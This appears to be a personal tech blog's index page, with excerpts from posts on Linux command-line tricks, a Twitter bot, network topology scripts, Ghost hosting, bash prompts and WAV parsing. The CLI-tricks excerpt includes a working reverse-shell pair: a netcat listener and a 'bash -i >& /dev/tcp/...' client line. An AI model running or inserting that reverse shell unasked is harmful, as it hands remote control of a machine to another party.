Linux CLI tricks

Send a string to an IP/port telnet 80 (echo hello; sleep 1) | telnet 80 echo hello > /dev/tcp/ echo hello | nc localhost 80 Reverse shell # server nc -knvlp 3389 # client bash -i >& /dev/tcp/server_ip/3389 0>&1 See also Target everything but one file git add !( Print a random line from a file sed "$(( $RANDOM % $(cat readme.txt | wc -l) ))q;d" readme. [Read More]

Create a Twitter bot

Using twurl and Google Cloud

Prerequisites: a Twitter account, moderate command line and Google Cloud experience. Time to complete: a couple of hours. Alternatively you might consider GitLab hosting. Developer account Apply for a Twitter dev account, create an app and make a note of the two API keys. Keep them to yourself. Google Cloud hosting Create the smallest (and cheapest) Linux instance on Google Cloud. Installation Connect to your instance and install the essentials. [Read More]

Generate a network topology

From a hosts file

tracehost is a bash script that parses a standard hosts files and generates an SVG. The script accepts a standard system hosts file format but actually it only cares about the first host or IP on a line. In fact any line format may be used as long as each line begins with something that can be pinged. localhost # for local people - google # Zero waste The image below is generated as a daily GitLab cron job. [Read More]

Ghost blog

Install Ghost in a Google Cloud instance

Prerequisites: basic knowledge of the Linux command line, domain names and DNS. Time to complete: one hour. Google Cloud actually offer pre-built Ghost images but unfortunately they deploy a woefully antique revision. So I built my own using Ghost’s GitHub instructions as a reference. Before we proceed it must be remembered that if you’re hosting it yourself you are in control of the backups. You can casually delete entire VMs in as few as three slipshod strikes of the mouse button. [Read More]

Turbo charge your bash prompt

Bash prompt variables The escape characters that can appear in the bash prompt are well-documented so let’s not cover that in any detail. But a good starting point is the “[email protected]:dir” combo, which conveniently is also the scp syntax. PS1="\[email protected]\h:\w $ " [email protected]:/tmp $ Variables described in the bash documentation: PS1 - The primary prompt string. The default value is ‘\s-\v$ ’. PS0 - The value of this parameter is expanded like PS1 and displayed by interactive shells after reading a command and before the command is executed. [Read More]

Parsing WAV files

In alternative languages

What does a WAV header look like? Inspect the hex with xxd, a WAV header is 42 bytes and is then followed by the sample data. xxd example.wav | head -10 00000000: 5249 4646 2400 0080 5741 5645 666d 7420 RIFF$...WAVEfmt 00000010: 1000 0000 0100 0100 d007 0000 a00f 0000 ................ 00000020: 0100 1000 6461 7461 0000 0080 0000 4582 00000030: e2d0 126c 9e57 c4b4 308c d41f be7f 0a10 . [Read More]